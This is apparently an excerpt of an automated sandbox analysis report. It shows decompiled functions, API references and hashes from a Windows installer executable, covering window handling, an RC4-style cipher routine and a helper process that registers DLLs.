0x00417d51
0x00417d61
0x00417d6e
0x00417d6e
0x00417cfc
0x00417d11
0x00417d11
0x00417d75
0x00417cd5
0x00417cd5
0x00417cdb
0x00000000
0x00000000
0x00417cdb
0x00417d80

APIs

IsIconic.USER32(?), ref: 00417CF3
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D11
GetWindowPlacement.USER32(?,0000002C), ref: 00417D47
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D6E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: db63afb58992f9a4e1eed7bc39269436c1dd18b9b4b711010f1ae081b6a9b246
Instruction ID: 26ffe574b517fd3a71740a1ead461090191999ca45b01ba26525c739ddbbda02
Opcode Fuzzy Hash: db63afb58992f9a4e1eed7bc39269436c1dd18b9b4b711010f1ae081b6a9b246
Instruction Fuzzy Hash: 71012C31304108ABDB10EF59D8C1EEA77A8AF55364F154566FD08DF242D639EC9087A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041757C Relevance: 3.0, APIs: 2, Instructions: 44
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041757C(intOrPtr* __eax, void* __edx) {
				intOrPtr _t15;
				void* _t17;
				void* _t19;
				intOrPtr* _t20;
				void* _t27;

				_t27 = __edx;
				_t20 = __eax;
				if(( *(__edx + 4) & 0x0000fff0) != 0xf100 ||  *((short*)(__edx + 8)) == 0x20 ||  *((short*)(__edx + 8)) == 0x2d || IsIconic( *(__eax + 0xc0)) != 0 || GetCapture() != 0) {
					L8:
					return  *((intOrPtr*)( *_t20 - 0x10))();
				}
				_t15 =  *0x48f628; // 0x22f2410
				if(_t20 ==  *((intOrPtr*)(_t15 + 0x28))) {
					goto L8;
				}
				_t17 = E0041F658(_t20);
				_t26 = _t17;
				if(_t17 == 0) {
					goto L8;
				}
				_t19 = E00415224(_t26, 0, 0xb017, _t27);
				if(_t19 == 0) {
					goto L8;
				}
				return _t19;
			}

0x0041757f
0x00417581
0x00417590
0x004175e3
0x00000000
0x004175e9
0x004175b9
0x004175c1
0x00000000
0x00000000
0x004175c5
0x004175ca
0x004175ce
0x00000000
0x00000000
0x004175da
0x004175e1
0x00000000
0x00000000
0x004175ef

APIs

IsIconic.USER32(?), ref: 004175A7
GetCapture.USER32 ref: 004175B0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 73eb335373ba0326742578dc83f4a0f89743783e0d20ac6a5580ea9d912e1d5a
Instruction ID: 841711f9b079bfcaeba9936b10fbdc5aeed3cfad274353dbc2dc87114c0a81dd
Opcode Fuzzy Hash: 73eb335373ba0326742578dc83f4a0f89743783e0d20ac6a5580ea9d912e1d5a
Instruction Fuzzy Hash: FEF0A47270460167DB20972EC884AABA2FBDF84358B14443FE419CBB63EE78DCC58758

Uniqueness

Uniqueness Score: -1.00%

Function 00424178 Relevance: 3.0, APIs: 2, Instructions: 22
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00424178(void* __eax, void* __ecx) {
				int _t9;
				void* _t17;
				void* _t18;

				_t18 = __ecx;
				_t17 = __eax;
				_t9 = IsIconic( *(__eax + 0x20));
				_t21 = _t9;
				if(_t9 == 0) {
					E00423A68(_t17, _t18);
					SetActiveWindow( *(_t17 + 0x20));
					_t9 = E00423630( *(_t17 + 0x20), 6, _t21);
					if( *((short*)(_t17 + 0xce)) != 0) {
						return  *((intOrPtr*)(_t17 + 0xcc))();
					}
				}
				return _t9;
			}

0x00424178
0x00424179
0x0042417f
0x00424184
0x00424186
0x0042418a
0x00424193
0x004241a0
0x004241ad
0x00000000
0x004241b7
0x004241ad
0x004241be

APIs

IsIconic.USER32(?), ref: 0042417F

Part of subcall function 00423A68: EnumWindows.USER32(00423A00), ref: 00423A8C
Part of subcall function 00423A68: GetWindow.USER32(?,00000003), ref: 00423AA1
Part of subcall function 00423A68: GetWindowLongA.USER32 ref: 00423AB0
Part of subcall function 00423A68: SetWindowPos.USER32(00000000,@AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042418F,?,?,00423D57), ref: 00423AE6

SetActiveWindow.USER32(?,?,?,00423D57,00000000,00424140), ref: 00424193

Part of subcall function 00423630: ShowWindow.USER32(00410634,00000009,?,00000000,0041ED88,0042391E,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042364B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: ba07b28285858efed21ec7390c371de1fa8859b0b9bb1d42de52eff0d3963272
Instruction ID: af4e11ea9c9c2638f6c2bb87157055eeaefaeacf1b290160b3299b931af0d7d3
Opcode Fuzzy Hash: ba07b28285858efed21ec7390c371de1fa8859b0b9bb1d42de52eff0d3963272
Instruction Fuzzy Hash: 73E01A6170111087DF00AF69DCC8B9672E8BB48309F59017AFC49CF34BD63CC8548B24

Uniqueness

Uniqueness Score: -1.00%

Function 004125BC Relevance: 1.7, APIs: 1, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004125BC(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				void* __edi;
				void* _t46;
				intOrPtr _t53;
				void* _t57;
				signed int _t60;
				void* _t68;
				signed int _t72;
				void* _t74;
				signed int _t78;
				intOrPtr _t82;
				intOrPtr _t87;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t125;
				signed int _t126;
				intOrPtr _t128;
				intOrPtr _t135;
				intOrPtr _t138;
				intOrPtr _t143;
				void* _t144;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t148;
				intOrPtr* _t149;
				intOrPtr _t151;

				_t149 = __edx;
				_v8 = __eax;
				_push(0x4127b9);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t151;
				_t46 =  *__edx - 0x53;
				if(_t46 == 0) {
					_v16 =  *((intOrPtr*)(__edx + 8));
					_t91 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t91;
					if(_t91 < 0) {
						L37:
						_push( *((intOrPtr*)(_t149 + 8)));
						_push( *(_t149 + 4));
						_push( *_t149);
						_t53 =  *((intOrPtr*)(_v8 + 0x10));
						L00405E2C();
						 *((intOrPtr*)(_t149 + 0xc)) = _t53;
						_t118 = _t53;
						 *[fs:eax] = _t118;
						return 0;
					}
					_t92 = _t91 + 1;
					_t145 = 0;
					__eflags = 0;
					while(1) {
						_t57 =  *((intOrPtr*)( *((intOrPtr*)(E0040B420(_v8, _t145))) + 0x2c))();
						_t121 = _v16;
						__eflags = _t57 -  *((intOrPtr*)(_t121 + 0xc));
						if(_t57 ==  *((intOrPtr*)(_t121 + 0xc))) {
							break;
						}
						_t145 = _t145 + 1;
						_t92 = _t92 - 1;
						__eflags = _t92;
						if(_t92 != 0) {
							continue;
						}
						goto L37;
					}
					E0040B420(_v8, _t145);
					_t60 = E004121FC(1,  *((intOrPtr*)(_v16 + 8)));
					__eflags = _t60;
					if(_t60 == 0) {
						E0040B420(_v8, _t145);
						__eflags = 0;
						_t60 = E004121FC(0,  *((intOrPtr*)(_v16 + 0xc)));
					}
					_t125 =  *0x48f62c; // 0x22f0660
					_t126 =  *(_t125 + 0x40);
					__eflags = _t126;
					if(_t126 != 0) {
						__eflags =  *(_t126 + 0x110) & 0x00000008;
						if(( *(_t126 + 0x110) & 0x00000008) == 0) {
							E004248D0(_t60);
						} else {
							E004248DC();
						}
						_pop(_t128);
						 *[fs:eax] = _t128;
						return 0;
					} else {
						_pop( *[fs:0x0]);
						return _t60;
					}
				}
				_t68 = _t46 - 0xbe;
				if(_t68 == 0) {
					_t94 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t94;
					if(_t94 < 0) {
						goto L37;
					}
					_t95 = _t94 + 1;
					_t146 = 0;
					__eflags = 0;
					while(1) {
						E0040B420(_v8, _t146);
						_t72 = E00412230( *(_t149 + 4), __eflags);
						__eflags = _t72;
						if(_t72 != 0) {
							break;
						}
						_t146 = _t146 + 1;
						_t95 = _t95 - 1;
						__eflags = _t95;
						if(_t95 != 0) {
							continue;
						}
						goto L37;
					}
					_pop(_t135);
					 *[fs:eax] = _t135;
					return 0;
				}
				_t74 = _t68 - 6;
				if(_t74 == 0) {
					_t97 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t97;
					if(_t97 < 0) {
						goto L37;
					}
					_t98 = _t97 + 1;
					_t147 = 0;
					__eflags = 0;
					while(1) {
						E0040B420(_v8, _t147);
						_t78 = E0041224C( *(_t149 + 4), __eflags);
						__eflags = _t78;
						if(_t78 != 0) {
							break;
						}
						_t147 = _t147 + 1;
						_t98 = _t98 - 1;
						__eflags = _t98;
						if(_t98 != 0) {
							continue;
						}
						goto L37;
					}
					_pop(_t138);
					 *[fs:eax] = _t138;
					return 0;
				}
				if(_t74 == 8) {
					_v9 = 0;
					__eflags =  *(__edx + 6) & 0x00000010;
					if(( *(__edx + 6) & 0x00000010) != 0) {
						_v9 = 1;
					}
					_t100 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t100;
					if(__eflags < 0) {
						L24:
						_t82 =  *0x48f628; // 0x22f2410
						E00424AD8(_t82, 0, _t144, __eflags);
						goto L37;
					} else {
						_t101 = _t100 + 1;
						_t148 = 0;
						__eflags = 0;
						while(1) {
							__eflags = E004121CC(E0040B420(_v8, _t148), _v9,  *(_t149 + 4) & 0x0000ffff);
							if(__eflags != 0) {
								break;
							}
							_t148 = _t148 + 1;
							_t101 = _t101 - 1;
							__eflags = _t101;
							if(__eflags != 0) {
								continue;
							}
							goto L24;
						}
						_t87 =  *0x48f628; // 0x22f2410
						E00424AD8(_t87,  *((intOrPtr*)(_t86 + 0x38)), _t148, __eflags);
						_pop(_t143);
						 *[fs:eax] = _t143;
						return 0;
					}
				}
				goto L37;
			}

0x004125c5
0x004125c7
0x004125cd
0x004125d2
0x004125d5
0x004125da
0x004125dd
0x004126e2
0x004126eb
0x004126ec
0x004126ee
0x00412795
0x00412798
0x0041279c
0x0041279f
0x004127a3
0x004127a7
0x004127ac
0x004127b1
0x004127b4
0x00000000
0x004127b4
0x004126f4
0x004126f5
0x004126f5
0x004126f7
0x00412703
0x00412706
0x00412709
0x0041270c
0x00000000
0x00000000
0x0041278d
0x0041278e
0x0041278e
0x0041278f
0x00000000
0x00000000
0x00000000
0x0041278f
0x00412713
0x00412721
0x00412726
0x00412728
0x0041272f
0x0041273b
0x0041273d
0x0041273d
0x00412742
0x00412748
0x0041274b
0x0041274d
0x0041275b
0x00412762
0x0041277e
0x00412764
0x00412770
0x00412770
0x00412785
0x00412788
0x00000000
0x0041274f
0x0041274f
0x00000000
0x00412756
0x0041274d
0x004125e3
0x004125e8
0x00412603
0x00412604
0x00412606
0x00000000
0x00000000
0x0041260c
0x0041260d
0x0041260d
0x0041260f
0x00412614
0x0041261d
0x00412622
0x00412624
0x00000000
0x00000000
0x00412633
0x00412634
0x00412634
0x00412635
0x00000000
0x00000000
0x00000000
0x00412637
0x00412628
0x0041262b
0x00000000
0x0041262b
0x004125ea
0x004125ed
0x00412642
0x00412643
0x00412645
0x00000000
0x00000000
0x0041264b
0x0041264c
0x0041264c
0x0041264e
0x00412653
0x0041265b
0x00412660
0x00412662
0x00000000
0x00000000
0x00412671
0x00412672
0x00412672
0x00412673
0x00000000
0x00000000
0x00000000
0x00412675
0x00412666
0x00412669
0x00000000
0x00412669
0x004125f2
0x0041267a
0x0041267e
0x00412682
0x00412684
0x00412684
0x0041268e
0x0041268f
0x00412691
0x004126ce
0x004126d0
0x004126d5
0x00000000
0x00412693
0x00412693
0x00412694
0x00412694
0x00412696
0x004126ac
0x004126ae
0x00000000
0x00000000
0x004126ca
0x004126cb
0x004126cb
0x004126cc
0x00000000
0x00000000
0x00000000
0x004126cc
0x004126b3
0x004126b8
0x004126bf
0x004126c2
0x00000000
0x004126c2
0x00412691
0x00000000

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127B9), ref: 004127A7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 683d83ed93518b802675df85916350fcd0911adbf2f7f3f25f466f7bc5d06d6a
Instruction ID: f519ef056182ed18d64688683d3eee4e8b30b10f20d7e8499a38f0bf9604ea9e
Opcode Fuzzy Hash: 683d83ed93518b802675df85916350fcd0911adbf2f7f3f25f466f7bc5d06d6a
Instruction Fuzzy Hash: BD51F831608245CFC710DF69D681A9BF3E1FF98314B20867BD414C77A5DAB8DDA29748

Uniqueness

Uniqueness Score: -1.00%

Function 0045A114 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045A11F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: eb9758bda302d86a9df046c605b8b9716849b59fb8e38dc2851939c5fa512996
Instruction ID: 5fe869b1cd34bf0d8d798b92ff6853225aaf88588317fc9365d28dad9c848183
Opcode Fuzzy Hash: eb9758bda302d86a9df046c605b8b9716849b59fb8e38dc2851939c5fa512996
Instruction Fuzzy Hash: ADC09BF200420C7F66005795FCC9CB7B75CE6596657504526F7044210195716C50C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 0045A12C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,00467682), ref: 0045A132

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: d53c5c3aec315fa0fd9a52a179ea20215c787ace45849dea1818ed3eda42a276
Instruction ID: f61197fc3d8990f4d39f2d9fdba7679609f4f853c55a5195c3699fc209ff93cf
Opcode Fuzzy Hash: d53c5c3aec315fa0fd9a52a179ea20215c787ace45849dea1818ed3eda42a276
Instruction Fuzzy Hash: BAA002B0A843007AFE2157606E0EF2A262C97C1F01F3048697301E90D085A46484C66C

Uniqueness

Uniqueness Score: -1.00%

Function 10001130 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001130() {
				signed char _t24;
				signed char _t25;
				intOrPtr _t30;
				signed char _t34;
				intOrPtr _t35;
				char _t37;
				intOrPtr _t41;
				char* _t43;
				char* _t48;
				signed char* _t52;
				void* _t54;

				_t41 =  *((intOrPtr*)(_t54 + 4));
				_t35 =  *((intOrPtr*)(_t54 + 0x10));
				_t24 =  *((intOrPtr*)(_t41 + 0x101));
				_t34 =  *(_t41 + 0x100);
				if(_t35 <= 0) {
					 *(_t41 + 0x100) = _t34;
					 *((char*)(_t41 + 0x101)) = _t24;
					return _t24;
				} else {
					_t52 =  *(_t54 + 0x14);
					 *((intOrPtr*)(_t54 + 0x18)) =  *(_t54 + 0x14) - _t52;
					 *((intOrPtr*)(_t54 + 0x20)) = _t35;
					while(1) {
						_t34 = _t34 + 1;
						_t48 = (_t34 & 0x000000ff) + _t41;
						_t37 =  *_t48;
						_t25 = _t24 + _t37;
						 *(_t54 + 0x14) = _t25;
						_t43 = (_t25 & 0x000000ff) + _t41;
						 *_t48 =  *_t43;
						 *_t43 = _t37;
						if( *((intOrPtr*)(_t54 + 0x1c)) != 0) {
							 *_t52 =  *((0 + _t37 & 0x000000ff) + _t41) ^  *( *((intOrPtr*)(_t54 + 0x18)) + _t52);
						}
						_t52 =  &(_t52[1]);
						_t30 =  *((intOrPtr*)(_t54 + 0x20)) - 1;
						 *((intOrPtr*)(_t54 + 0x20)) = _t30;
						if(_t30 == 0) {
							break;
						}
						_t24 =  *(_t54 + 0x14);
					}
					 *(_t41 + 0x100) = _t34;
					 *((char*)(_t41 + 0x101)) =  *(_t54 + 0x14);
					return _t30;
				}
			}

0x10001130
0x10001134
0x1000113a
0x10001141
0x10001147
0x100011c1
0x100011c7
0x100011ce
0x10001149
0x1000114a
0x10001156
0x1000115a
0x10001164
0x10001164
0x10001169
0x1000116c
0x1000116e
0x10001170
0x10001177
0x1000117e
0x10001186
0x10001188
0x1000119b
0x1000119b
0x100011a2
0x100011a3
0x100011a4
0x100011a8
0x00000000
0x00000000
0x10001160
0x10001160
0x100011b1
0x100011b7
0x100011be
0x100011be

Memory Dump Source

Source File: 00000001.00000002.341578500.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.341571492.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.341593334.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 10001000 Relevance: .0, Instructions: 2
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001000() {

				return 1;
			}

0x10001005

Memory Dump Source

Source File: 00000001.00000002.341578500.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.341571492.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.341593334.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00455930 Relevance: 45.7, APIs: 11, Strings: 15, Instructions: 237
filesynchronizationprocessCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00455930(void* __eax, void* __ebx, char __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v5;
				void* _v12;
				void* _v16;
				void* _v20;
				char _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _PROCESS_INFORMATION _v112;
				char _v116;
				char _v120;
				long _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				intOrPtr _t103;
				CHAR* _t119;
				CHAR* _t121;
				char _t128;
				char _t132;
				void* _t151;
				void* _t175;
				void* _t198;
				intOrPtr _t200;
				void* _t201;
				void* _t203;
				void* _t216;
				void* _t217;
				void* _t219;
				void* _t220;
				intOrPtr _t221;

				_t214 = __edi;
				_t219 = _t220;
				_t221 = _t220 + 0xffffff78;
				_push(__edi);
				_v116 = 0;
				_v24 = 0;
				_v28 = 0;
				_v5 = __ecx;
				_t216 = __edx;
				_t175 = __eax;
				_push(_t219);
				_push(0x455c65);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E00455348("Spawning _RegDLL.tmp", __eax, __edi, __edx);
				_v16 = 0;
				_v20 = 0;
				_v12 = CreateMutexA(0x48ea70, 1, 0);
				if(_v12 == 0) {
					E00451868("CreateMutex");
				}
				_push(_t219);
				_push(0x455c3b);
				_push( *[fs:edx]);
				 *[fs:edx] = _t221;
				_v16 = CreateFileMappingA(0xffffffff, 0x48ea70, 4, 0, 0x2018, 0);
				if(_v16 == 0) {
					E00451868("CreateFileMapping");
				}
				_v20 = MapViewOfFile(_v16, 2, 0, 0, 0x2018);
				if(_v20 == 0) {
					E00451868("MapViewOfFile");
				}
				E00402934(_v20, 0x2018);
				 *_v20 = 3;
				 *(_v20 + 4) = 0x2018;
				 *((intOrPtr*)(_v20 + 0x10)) = 0;
				 *((intOrPtr*)(_v20 + 0x14)) = 0;
				E00407368(_v20 + 0x18, 0xfff, _t216);
				if(ReleaseMutex(_v12) == 0) {
					E00451868("ReleaseMutex");
				}
				_t103 =  *0x48fff8; // 0x2329e28
				E0042C3E0(_t103,  &_v116);
				E004035D8( &_v24, "_isetup\\_RegDLL.tmp", _v116);
				_v132 = _v16;
				_v128 = 0;
				_v124 = _v12;
				_v120 = 0;
				E0040788C("_RegDLL.tmp %u %u", 1,  &_v132,  &_v28);
				E00402934( &_v96, 0x44);
				_v96.cb = 0x44;
				E0042D780( &_v116);
				_t119 = E00403750(_v116);
				_t121 = E00403750(_v28);
				if(CreateProcessA(E00403750(_v24), _t121, 0, 0, 1, 0x4000000, 0, _t119,  &_v96,  &_v112) == 0) {
					E00451868("CreateProcess");
				}
				CloseHandle(_v112.hThread);
				_t128 = E004555E0( &_v112);
				if(_t128 != 0x1c9b28da) {
					_v140 = _t128;
					_v136 = 0;
					E0045176C("REGDLL failed with exit code 0x%x", _t175, 0,  &_v140, _t214, _t216, 0);
				}
				_t217 = WaitForSingleObject(_v12, 0xffffffff);
				_t230 = _t217;
				if(_t217 != 0) {
					_v132 = _t217;
					_v128 = 0;
					_v124 = GetLastError();
					_v120 = 0;
					E0045176C("REGDLL mutex wait failed (%d, %d)", _t175, 1,  &_v132, _t214, _t217, _t230);
				}
				_t132 =  *((intOrPtr*)(_v20 + 8));
				_t198 = _t132 - 1;
				if(_t198 == 0) {
					E0045187C("OleInitialize", _t175,  *((intOrPtr*)(_v20 + 0xc)), _t214, _t217, __eflags);
				} else {
					_t201 = _t198 - 1;
					if(_t201 == 0) {
						E004517C4("LoadLibrary", _t175,  *((intOrPtr*)(_v20 + 0xc)), _t214, _t217, __eflags);
					} else {
						_t203 = _t201 - 1;
						if(_t203 == 0) {
							E004517C4("GetProcAddress", _t175,  *((intOrPtr*)(_v20 + 0xc)), _t214, _t217, __eflags);
						} else {
							if(_t203 == 1) {
								_t151 = E004062B8( *((intOrPtr*)(_v20 + 0xc)));
								__eflags = _t151;
								if(_t151 != 0) {
									E00403544( &_v116,  *0x0048EA68);
									E0045187C(_v116, _t175,  *((intOrPtr*)(_v20 + 0xc)), _t214, _t217, __eflags);
								}
							} else {
								_v140 = _t132;
								_v136 = 0;
								E0045176C("REGDLL returned unknown result code %d", _t175, 0,  &_v140, _t214, _t217, 0);
							}
						}
					}
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00455C42);
				if(_v20 != 0) {
					UnmapViewOfFile(_v20);
				}
				if(_v16 != 0) {
					CloseHandle(_v16);
				}
				return CloseHandle(_v12);
			}

0x00455930
0x00455931
0x00455933
0x0045593b
0x0045593e
0x00455941
0x00455944
0x00455947
0x0045594a
0x0045594c
0x00455950
0x00455951
0x00455956
0x00455959
0x00455961
0x00455968
0x0045596d
0x00455982
0x00455989
0x00455990
0x00455990
0x00455997
0x00455998
0x0045599d
0x004559a0
0x004559ba
0x004559c1
0x004559c8
0x004559c8
0x004559e1
0x004559e8
0x004559ef
0x004559ef
0x004559fe
0x00455a06
0x00455a0f
0x00455a1d
0x00455a28
0x00455a38
0x00455a48
0x00455a4f
0x00455a4f
0x00455a57
0x00455a5c
0x00455a6c
0x00455a78
0x00455a7b
0x00455a82
0x00455a85
0x00455a96
0x00455aa5
0x00455aaa
0x00455abc
0x00455ac4
0x00455ada
0x00455af0
0x00455af7
0x00455af7
0x00455b00
0x00455b08
0x00455b12
0x00455b14
0x00455b1a
0x00455b2e
0x00455b2e
0x00455b3e
0x00455b40
0x00455b42
0x00455b44
0x00455b47
0x00455b50
0x00455b53
0x00455b64
0x00455b64
0x00455b6c
0x00455b71
0x00455b72
0x00455b8a
0x00455b74
0x00455b74
0x00455b75
0x00455b9c
0x00455b77
0x00455b77
0x00455b78
0x00455bae
0x00455b7a
0x00455b7b
0x00455bbb
0x00455bc0
0x00455bc2
0x00455bd2
0x00455be0
0x00455be0
0x00455b7d
0x00455be7
0x00455bed
0x00455c01
0x00455c01
0x00455b7b
0x00455b78
0x00455b75
0x00455c08
0x00455c0b
0x00455c0e
0x00455c17
0x00455c1d
0x00455c1d
0x00455c26
0x00455c2c
0x00455c2c
0x00455c3a

APIs

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

CreateMutexA.KERNEL32(0048EA70,00000001,00000000,00000000,00455C65,?,?,?,00000001,?,00455E7F,00000000,00455E95,?,00000000,0048F628), ref: 0045597D
CreateFileMappingA.KERNEL32 ref: 004559B5
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00002018,000000FF,0048EA70,00000004,00000000,00002018,00000000,00000000,00455C3B,?,0048EA70,00000001), ref: 004559DC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455AE9
ReleaseMutex.KERNEL32(00000000,00000000,00000002,00000000,00000000,00002018,000000FF,0048EA70,00000004,00000000,00002018,00000000,00000000,00455C3B,?,0048EA70), ref: 00455A41

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

CloseHandle.KERNEL32(00002018,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455B00
WaitForSingleObject.KERNEL32(00000000,000000FF,00002018,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455B39
GetLastError.KERNEL32(00000000,000000FF,00002018,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455B4B
UnmapViewOfFile.KERNEL32(00000000,00455C42,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455C1D
CloseHandle.KERNEL32(00000000,00455C42,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455C2C
